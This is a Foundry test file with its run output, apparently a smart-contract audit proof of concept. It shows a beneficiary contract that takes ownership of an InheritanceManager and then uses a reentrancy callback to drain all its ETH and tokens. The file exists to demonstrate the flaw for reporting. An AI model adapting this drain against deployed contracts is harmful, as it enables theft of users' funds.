pragma solidity 0.8.26;
import {Test, console} from "forge-std/Test.sol";
import {InheritanceManager} from "../src/InheritanceManager.sol";
import {ERC20Mock} from "@openzeppelin/contracts/mocks/token/ERC20Mock.sol";
* @title ReentrancyBeneficiaryAttacker
* @dev Contract that exploits the broken reentrancy guard after becoming owner
*/
contract ReentrancyBeneficiaryAttacker {
InheritanceManager public im;
ERC20Mock[] public tokens;
bool public attackMode = false;
constructor(address _im) {
im = InheritanceManager(_im);
}
function addToken(address token) external {
tokens.push(ERC20Mock(token));
}
function executeInherit() external {
im.inherit();
console.log("Inheritance complete - am I the owner?", im.getOwner() == address(this));
}
function sweepAllFunds() external {
require(im.getOwner() == address(this), "Not owner yet");
attackMode = true;
uint256 ethBalance = address(im).balance;
console.log("Starting attack - ETH balance to sweep:", ethBalance / 1e18, "ETH");
if (ethBalance > 0) {
im.sendETH(ethBalance, address(this));
} else {
sweepTokens();
}
attackMode = false;
}
receive() external payable {
if (attackMode) {
console.log("Received ETH:", msg.value / 1e18, "ETH");
sweepTokens();
}
}
function sweepTokens() internal {
console.log("Sweeping tokens...");
for (uint i = 0; i < tokens.length; i++) {
ERC20Mock token = tokens[i];
uint256 balance = token.balanceOf(address(im));
if (balance > 0) {
console.log("Sweeping token balance:", balance / 1e18);
im.sendERC20(address(token), balance, address(this));
}
}
}
function getBalances() external view returns (uint256 ethBalance, uint256[] memory tokenBalances) {
ethBalance = address(this).balance;
tokenBalances = new uint256[](tokens.length);
for (uint i = 0; i < tokens.length; i++) {
tokenBalances[i] = tokens[i].balanceOf(address(this));
}
return (ethBalance, tokenBalances);
}
}
* @title SingleBeneficiaryAttackTest
* @dev Tests the attack where a single beneficiary exploits reentrancy after inheritance
*/
contract SingleBeneficiaryAttackTest is Test {
InheritanceManager public im;
ReentrancyBeneficiaryAttacker public attacker;
ERC20Mock public token1;
ERC20Mock public token2;
address public owner = makeAddr("owner");
function setUp() public {
vm.prank(owner);
im = new InheritanceManager();
attacker = new ReentrancyBeneficiaryAttacker(address(im));
token1 = new ERC20Mock();
token2 = new ERC20Mock();
vm.deal(address(im), 5 ether);
token1.mint(address(im), 1000 * 10**18);
token2.mint(address(im), 500 * 10**18);
attacker.addToken(address(token1));
attacker.addToken(address(token2));
vm.prank(owner);
im.addBeneficiery(address(attacker));
}
function testSingleBeneficiaryReentrancyAttack() public {
console.log("---- Initial State ----");
console.log("InheritanceManager ETH:", address(im).balance / 1e18, "ETH");
console.log("InheritanceManager Token1:", token1.balanceOf(address(im)) / 1e18, "tokens");
console.log("InheritanceManager Token2:", token2.balanceOf(address(im)) / 1e18, "tokens");
vm.warp(block.timestamp + 91 days);
attacker.executeInherit();
assertEq(im.getOwner(), address(attacker), "Attacker should be the new owner");
attacker.sweepAllFunds();
console.log("---- Final State ----");
console.log("InheritanceManager ETH:", address(im).balance / 1e18, "ETH");
console.log("InheritanceManager Token1:", token1.balanceOf(address(im)) / 1e18, "tokens");
console.log("InheritanceManager Token2:", token2.balanceOf(address(im)) / 1e18, "tokens");
(uint256 attackerEth, uint256[] memory attackerTokens) = attacker.getBalances();
console.log("Attacker ETH:", attackerEth / 1e18, "ETH");
console.log("Attacker Token1:", attackerTokens[0] / 1e18, "tokens");
console.log("Attacker Token2:", attackerTokens[1] / 1e18, "tokens");
assertEq(address(im).balance, 0, "All ETH should be drained");
assertEq(token1.balanceOf(address(im)), 0, "All Token1 should be drained");
assertEq(token2.balanceOf(address(im)), 0, "All Token2 should be drained");
assertEq(attackerEth, 5 ether, "Attacker should have all ETH");
assertEq(attackerTokens[0], 1000 * 10**18, "Attacker should have all Token1");
assertEq(attackerTokens[1], 500 * 10**18, "Attacker should have all Token2");
}
}
[⠊] Compiling...
[⠑] Compiling 1 files with Solc 0.8.26
[⠘] Solc 0.8.26 finished in 702.51ms
Compiler run successful!
Ran 1 test for test/l.t.sol:SingleBeneficiaryAttackTest
[PASS] testSingleBeneficiaryReentrancyAttack() (gas: 178162)
Logs:
---- Initial State ----
InheritanceManager ETH: 5 ETH
InheritanceManager Token1: 1000 tokens
InheritanceManager Token2: 500 tokens
Inheritance complete - am I the owner? true
Starting attack - ETH balance to sweep: 5 ETH
Received ETH: 5 ETH
Sweeping tokens...
Sweeping token balance: 1000
Sweeping token balance: 500
---- Final State ----
InheritanceManager ETH: 0 ETH
InheritanceManager Token1: 0 tokens
InheritanceManager Token2: 0 tokens
Attacker ETH: 5 ETH
Attacker Token1: 1000 tokens
Attacker Token2: 500 tokens
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 7.33ms (1.56ms CPU time)
Ran 1 test suite in 159.13ms (7.33ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
This vulnerability allows an attacker with owner privileges to drain all contract assets in a single transaction, bypassing any monitoring or time-based protection systems.